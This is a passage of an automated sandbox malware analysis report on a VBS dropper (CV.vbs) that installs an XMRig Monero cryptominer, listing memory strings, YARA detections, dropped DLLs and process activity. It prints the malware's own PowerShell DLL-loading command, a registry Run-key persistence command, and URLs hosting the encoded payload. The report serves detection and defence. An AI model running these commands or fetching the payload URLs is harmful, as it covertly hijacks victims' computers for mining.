Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://netpreserve.org/warc/1.0/revisit/identical-payload-digest
Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://netpreserve.org/warc/1.0/revisit/identical-payload-digestWARC-Truncatedlengthapplication/http
Source: powershell.exe, 0000000A.00000002.3143884949.0000024890082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 0000000A.00000002.3009930478.000002488022D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000A.00000002.3009930478.000002488022D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.gnu.org/licenses/gpl.html
Source: expand.exe, 00000003.00000003.1683219319.0000013A92C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com
Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.metalinker.org/
Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.metalinker.org/typeoriginurn:ietf:params:xml:ns:metalinkdynamictagsidentityfilesfilenames
Source: powershell.exe, 0000000A.00000002.3143884949.0000024890082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.3143884949.0000024890082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.3143884949.0000024890082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000A.00000002.3009930478.000002488022D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gnu.org/licenses/
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gnu.org/licenses/gpl.html
Source: powershell.exe, 0000000A.00000002.3143884949.0000024890082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: expand.exe, 00000003.00000003.1683219319.0000013A92C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/DevilBot000/DarkLoader/main/q64New.encode
Source: expand.exe, 00000003.00000003.1683219319.0000013A92C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/DevilBot000/DarkLoader/main/q64New.encodeInternetCheckhttp://www.g
Source: cmd.exe, 00000024.00000003.2273133807.000001FE5DE46000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000028.00000002.2423723238.0000013D0DC5C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000003F.00000003.2930438226.00000264C29F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/zsbkz/raw
Source: powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://savannah.gnu.org/bugs/?func=additem&group=wget.
Source: powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/benchmark/%s
Source: powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown

HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49731 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.2.powershell.exe.248ecf38640.8.raw.unpack, type: UNPACKEDPE	Matched rule: Linux_Trojan_Pornoasset_927f314f Author: unknown
Source: 10.2.powershell.exe.18002a000.3.unpack, type: UNPACKEDPE	Matched rule: Linux_Trojan_Pornoasset_927f314f Author: unknown
Source: 10.2.powershell.exe.18002a000.3.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 10.2.powershell.exe.18002a000.3.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 10.2.powershell.exe.18002a000.3.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 10.2.powershell.exe.248ecf38640.8.unpack, type: UNPACKEDPE	Matched rule: Linux_Trojan_Pornoasset_927f314f Author: unknown
Source: 10.2.powershell.exe.248ecf38640.8.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 10.2.powershell.exe.248ecf38640.8.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 10.2.powershell.exe.248ecf38640.8.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 10.2.powershell.exe.18002a000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Linux_Trojan_Pornoasset_927f314f Author: unknown
Source: 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000A.00000002.2959232520.0000000180701000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 0000000A.00000002.2959232520.000000018002A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Pornoasset_927f314f Author: unknown
Source: 0000000A.00000002.3177023053.00000248ECF10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Pornoasset_927f314f Author: unknown
Source: 0000000A.00000002.2934615979.0000000140001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Pornoasset_927f314f Author: unknown
Source: Process Memory Space: powershell.exe PID: 7832, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\f845a3d99b83e24d96851c4aac2db939.tmp, type: DROPPED	Matched rule: Detects powershell keyword obfuscated with carets Author: Florian Roth

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL120A.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLLD067.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL814C.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL663C.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLLF657.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL6063.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLLF060.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp	Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: CV.vbs

Initial sample: Strings found which are bigger than 50

Source: DLL46B0.tmp.10.dr	Static PE information: Number of sections : 11 > 10
Source: DLL814C.tmp.10.dr	Static PE information: Number of sections : 11 > 10
Source: DLLAA54.tmp.10.dr	Static PE information: Number of sections : 11 > 10
Source: DLL39F2.tmp.10.dr	Static PE information: Number of sections : 11 > 10
Source: DLLD067.tmp.10.dr	Static PE information: Number of sections : 11 > 10
Source: DLLF060.tmp.10.dr	Static PE information: Number of sections : 11 > 10
Source: DLLD6FB.tmp.10.dr	Static PE information: Number of sections : 11 > 10
Source: DLLF657.tmp.10.dr	Static PE information: Number of sections : 11 > 10
Source: DLL82AA.tmp.10.dr	Static PE information: Number of sections : 11 > 10
Source: DLL6063.tmp.10.dr	Static PE information: Number of sections : 11 > 10
Source: DLL120A.tmp.10.dr	Static PE information: Number of sections : 11 > 10
Source: DLL663C.tmp.10.dr	Static PE information: Number of sections : 11 > 10

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f

Source: 10.2.powershell.exe.248ecf38640.8.raw.unpack, type: UNPACKEDPE	Matched rule: Linux_Trojan_Pornoasset_927f314f reference_sample = d653598df857535c354ba21d96358d4767d6ada137ee32ce5eb4972363b35f93, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Pornoasset, fingerprint = 7214d3132fc606482e3f6236d291082a3abc0359c80255048045dba6e60ec7bf, id = 927f314f-2cbb-4f87-b75c-9aa5ef758599, last_modified = 2021-09-16
Source: 10.2.powershell.exe.18002a000.3.unpack, type: UNPACKEDPE	Matched rule: Linux_Trojan_Pornoasset_927f314f reference_sample = d653598df857535c354ba21d96358d4767d6ada137ee32ce5eb4972363b35f93, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Pornoasset, fingerprint = 7214d3132fc606482e3f6236d291082a3abc0359c80255048045dba6e60ec7bf, id = 927f314f-2cbb-4f87-b75c-9aa5ef758599, last_modified = 2021-09-16
Source: 10.2.powershell.exe.18002a000.3.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 10.2.powershell.exe.18002a000.3.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 10.2.powershell.exe.18002a000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 10.2.powershell.exe.248ecf38640.8.unpack, type: UNPACKEDPE	Matched rule: Linux_Trojan_Pornoasset_927f314f reference_sample = d653598df857535c354ba21d96358d4767d6ada137ee32ce5eb4972363b35f93, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Pornoasset, fingerprint = 7214d3132fc606482e3f6236d291082a3abc0359c80255048045dba6e60ec7bf, id = 927f314f-2cbb-4f87-b75c-9aa5ef758599, last_modified = 2021-09-16
Source: 10.2.powershell.exe.248ecf38640.8.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 10.2.powershell.exe.248ecf38640.8.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 10.2.powershell.exe.248ecf38640.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 10.2.powershell.exe.18002a000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Linux_Trojan_Pornoasset_927f314f reference_sample = d653598df857535c354ba21d96358d4767d6ada137ee32ce5eb4972363b35f93, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Pornoasset, fingerprint = 7214d3132fc606482e3f6236d291082a3abc0359c80255048045dba6e60ec7bf, id = 927f314f-2cbb-4f87-b75c-9aa5ef758599, last_modified = 2021-09-16
Source: 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000A.00000002.2959232520.0000000180701000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000A.00000002.2959232520.000000018002A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Pornoasset_927f314f reference_sample = d653598df857535c354ba21d96358d4767d6ada137ee32ce5eb4972363b35f93, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Pornoasset, fingerprint = 7214d3132fc606482e3f6236d291082a3abc0359c80255048045dba6e60ec7bf, id = 927f314f-2cbb-4f87-b75c-9aa5ef758599, last_modified = 2021-09-16
